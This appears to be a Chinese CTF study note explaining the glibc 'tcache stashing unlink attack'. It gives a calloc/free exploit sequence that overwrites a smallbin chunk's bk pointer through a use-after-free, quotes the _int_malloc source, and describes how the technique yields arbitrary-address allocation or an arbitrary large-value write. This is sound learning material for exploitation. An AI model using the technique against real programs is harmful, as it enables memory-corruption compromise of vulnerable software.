tcache stashing unlink attack
[TOC] 学习时参考的博客 一篇讲原理的博客 例题博客 例题博客 例题博客 1.获得任意地址target_addr的控制权 2.在任意地址target_addr写入大数值 但是说实话这个技巧除了配合house of pig好像没有太大作用
代码
calloc(0xa0)
#让tcache中有6个0xb0的chunk
for i in range(6):
calloc(0xa0)
free(i)
#---------------------一般都是通过切割unsorted bin来得到smallbin的堆块-------------------
calloc(0x4b0) #9
calloc(0xb0) #10
free(9)
#此时smallbin有1个0xb0的chunk
calloc(0x400)
calloc(0x4b0) #11
calloc(0xb0) #12
free(11)
#此时smallbin有2个0xb0的chunk
calloc(0x400) #13
edit(11,b'\x00'*0x400+p64(prev_size)+p64(size)+p64(heapbase+0xb00)+p64(target_addr-0x10))
#tcache 0xb0 :6个
#smallbin 0xb0 :bin->chunkA->chunkB chunkA的bk为target_addr-0x10
#触发tcache stashing unlink attack
calloc(0xa0)
核心
define last(b) ((b)->bk) if ((tc_victim = last (bin)) != bin) bck = tc_victim->bk; bin->bk = bck; bck->fd = bin; 任意地址上写一个较大的数(和unsortedbin attack 类似) tcache_put (tc_victim, tc_idx);
- 如果我们可以控制smallbin的bk,那么bck就可以为任意地址,而后它又被放到tcache中,我们可以将它再malloc出来利用
- bin在main_arena附近,那么bck->fd=bin实现了任意地址上写一个较大的数
- 限制:
- 需要UAF
- 主要适用于只有calloc并且可以分配tcache大小的chunk的情况,对于有malloc,打tcache poison更加方便
- 效果:
- 当题目中只有calloc函数,没有任何malloc函数,这个时候只能用获得任意地址target_addr的控制权。(这是因为calloc不会考虑从tcache分配)
- 获得任意地址target_addr的控制权:在上述流程中,直接将chunk_A的bk改为target_addr - 0x10(这是因为返回给用户的是mem区域),并且保证target_addr - 0x10的bk的fd为一个可写地址(即*(target+0x8)是一个可写地址)在上述流程中,使tcache有5个堆块,smallbin有2个堆块。
- 对于有malloc但是malloc在限制的条件下才能使用,可以用calloc先满足malloc的条件,然后用malloc打tcache poison
- 在任意地址target_addr写入大数值:在高版本glibc下,unsorted bin attack失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin中原先有6个堆块(这样的话tcache_put后,就会退出循环,把chunk返回,不会造成段错误),smallbin中有2个堆块,然后将chunk_A的bk改为target_addr-0x10即可。tcache有6个堆块的目的主要是避免产生段错误
源码
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
// victim是smallbin中最后一个块
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
// 如果smallbin中还有其他相同大小的块,则将他们存到tcache中
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
// 如果smallbin不为空,且tcache没满,就将smallbin中剩下的块复制进tcache去
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
// 如果不是 main_arena,设置对应的标志
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
// 将chunk放进tcache
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
原理
- victim是smallbin中的最后一个块,如果最后一个块不等于bin,说明smallbin不为空。接着将victim从smallbin中摘除,最后返回给用户使用的部分就是victim+0x10(因为返回给用户的是mem)
- 如果启用了tcache,系统会将smallbin中剩下的块逆序放到tcache中
- tc_victim是 smallbin摘除掉用户请求的块之后剩下节点的最后一个节点,将tc_victim从smallbin中摘除,放入相应的 tcache链表中。